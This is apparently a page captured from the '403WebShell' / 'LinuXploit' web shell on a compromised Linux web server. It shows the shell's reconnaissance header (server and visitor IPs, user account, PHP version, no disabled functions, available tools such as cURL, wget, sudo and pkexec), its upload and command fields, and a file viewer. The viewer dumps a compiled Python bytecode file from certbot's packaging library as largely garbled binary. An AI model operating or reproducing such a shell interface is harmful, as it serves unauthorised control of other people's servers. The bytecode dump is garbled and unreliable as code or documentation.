Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/certbot/5893/lib/python3.12/site-packages/packaging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/certbot/5893/lib/python3.12/site-packages/packaging/__pycache__/requirements.cpython-312.pyc
�

��j����ddlmZddlmZddlmZddlmZddl	m
Z
mZddlm
Z
mZddlmZerdd	lmZd
dgZdd�ZGd
�d
e�ZGd�d�Zy)�)�annotations)�
TYPE_CHECKING�)�parse_requirement)�ParserSyntaxError)�Marker�_normalize_extra_values)�InvalidSpecifier�SpecifierSet��canonicalize_name)�Iterator�InvalidRequirement�Requirementc��tS�N)�__all__���R/root/parts/certbot/install/lib/python3.12/site-packages/packaging/requirements.py�__dir__rs���Nrc��eZdZdZy)rzf
    An invalid requirement was found, users should refer to PEP 508.

    .. versionadded:: 16.1
    N)�__name__�
__module__�__qualname__�__doc__rrrrrs��rc�T�eZdZdZdZdd�Zd
d�Zdd�Zdd�Zdd�Z	dd�Z
dd	�Zdd
�Zy)ra�Parse a requirement.

    Parse a given requirement string into its parts, such as name, specifier,
    URL, and extras. Raises InvalidRequirement on a badly-formed requirement
    string.

    .. versionadded:: 16.1

    .. versionchanged:: 22.0
        Added equality (``__eq__``) and hashing (``__hash__``) so requirements
        can be compared and stored in sets / dicts.

    .. versionchanged:: 23.2
        Equality and hashing began canonicalizing requirement names, so
        requirements whose names differ only by normalization (e.g.
        ``Requirement("Foo")`` vs ``Requirement("foo")``) now compare and hash
        equal.

    Instances are safe to serialize with :mod:`pickle`. They use a stable
    format so the same pickle can be loaded in future packaging releases.

    .. versionchanged:: 26.2

        Added a stable pickle format. Pickles created with packaging 26.2+ can
        be unpickled with future releases.  Backward compatibility with pickles
        from packaging < 26.2 is supported but may be removed in a future
        release.

    .. versionchanged:: 26.3

        The dedicated pickle support introduced in 26.2 did not preserve the
        specifier's explicit :attr:`~packaging.specifiers.SpecifierSet.prereleases`
        override; it is now included again.

        Equality and hashing normalize requirement names, extras, and
        equivalent specifiers. The string representation still preserves the
        parsed name and extras spelling.
    )�extras�marker�name�	specifier�urlc��	t|�}|j|_|j
xsd|_t
|j�|_	t|j�|_	d|_|j�Ctjt�|_t|j�|j_yy#t$r}tt|��|�d}~wwxYw#t$r}tt|��|�d}~wwxYwr)�_parse_requirementrr�strr r"�setrrr!r
rr�__new__r	�_markers)�self�requirement_string�parsed�es    r�__init__zRequirement.__init__Rs���	4�'�(:�;�F� ����	�%�z�z�1�T��� #�F�M�M� 2���	4�+7��8H�8H�+I�D�N�&*����=�=�$� �.�.��0�D�K�#:�6�=�=�#I�D�K�K� �%��!�	4�$�S��V�,�!�3��	4�� �	4�$�S��V�,�!�3��	4�s/�B?�C%�?	C"�C�C"�%	D�.D�Dc#�`K�|��|jr,djt|j��}d|�d���|jrt	|j���|j
r!d|j
����|jrd��|jrd|j����yy�w)N�,�[�]z @ � z; )r�join�sortedr!r%r"r)r)r �formatted_extrass   r�_iter_partszRequirement._iter_partsds������
��;�;�"�x�x��t�{�{�(;�<���&�'�q�)�)��>�>��d�n�n�%�%��8�8�����z�"�"��{�{��	��;�;��t�{�{�m�$�$��s�B,B.c�D�t|�|jjfSr)r%r!�_prereleases�r)s r�__getstate__zRequirement.__getstate__vs��
�D�	�4�>�>�6�6�7�7rc��t|t�r|}d}n�t|t�r?t|�dk(r1t|dt�r|d�t|dt�r|\}}nft|t
�rH|j
�t|j�k\r"|jD]}t||||��ytd|����	t|�}|j|_
|j|_|j|_|j |_||j _|j$|_y#t$r}td|���|�d}~wwxYw)N�rrz Cannot restore Requirement from )�
isinstancer%�tuple�len�bool�dict�keysr&�	__slots__�setattr�	TypeErrorrrr r"rr!r8r)r)�stater*�prereleases�key�tmp�excs       r�__setstate__zRequirement.__setstate__}s6���e�S�!�&+��'+�K��u�e�$��E�
�a���5��8�S�)��q��!�Z��a��$�%?�/4�+���
��t�
$������T�^�^�9L�)L��~�~�
/����c�5��:�.�
/���>�u�i�H�I�I�	S��0�1�C��H�H��	��7�7����j�j��������&1����#��j�j����"�	S��>�u�i�H�I�s�R��	S�s�D>�>	E�E�Ec�V�dj|j|j��S)N�)r3r6r r9s r�__str__zRequirement.__str__�s ���w�w�t�'�'��	�	�2�3�3rc�N�d|jj�dt|��d�S)N�<�(z)>)�	__class__rr%r9s r�__repr__zRequirement.__repr__�s&���4�>�>�*�*�+�1�S��Y�M��<�<rc��tt|j�td�|jD��|j
|j|jf�S)Nc3�2K�|]}t|����y�wrr��.0r,s  r�	<genexpr>z'Requirement.__hash__.<locals>.<genexpr>�s����D�1�+�A�.�D���)�hashr
r �	frozensetrr!r"rr9s r�__hash__zRequirement.__hash__�sI���!�$�)�)�,��D����D�D����������
�
�	
rc��t|t�stStd�|jD��}td�|jD��}t|j�t|j�k(xrV||k(xrO|j|jk(xr4|j|jk(xr|j|jk(S)Nc3�2K�|]}t|����y�wrrrVs  rrXz%Requirement.__eq__.<locals>.<genexpr>�s����J�� 1�!� 4�J�rYc3�2K�|]}t|����y�wrrrVs  rrXz%Requirement.__eq__.<locals>.<genexpr>�s���� L�!�!2�1�!5� L�rY)
r=r�NotImplementedr[rr
r r!r"r)r)�other�self_extras�other_extrass    r�__eq__zRequirement.__eq__�s����%��-�!�!� �J�d�k�k�J�J�� � L�u�|�|� L�L���d�i�i�(�,=�e�j�j�,I�I�
,��|�+�
,����%�/�/�1�
,����E�I�I�%�
,����u�|�|�+�	
rN)r*r%�return�None)r r%rez
Iterator[str])reztuple[str, bool | None])rF�objectrerf)rer%)re�int)rargrer@)
rrrrrCr-r6r:rKrNrSr\rdrrrrr#s:��%�XA�I�J�$%�$8�!�@4�=�
� 

rN)rez	list[str])�
__future__r�typingr�_parserrr$�
_tokenizerr�markersrr	�
specifiersr
r�utilsr
�collections.abcrrr�
ValueErrorrrrrr�<module>rrsN��#� �<�)�4�6�$��(���������]
�]
r

Youez - 2016 - github.com/yon3zu
LinuXploit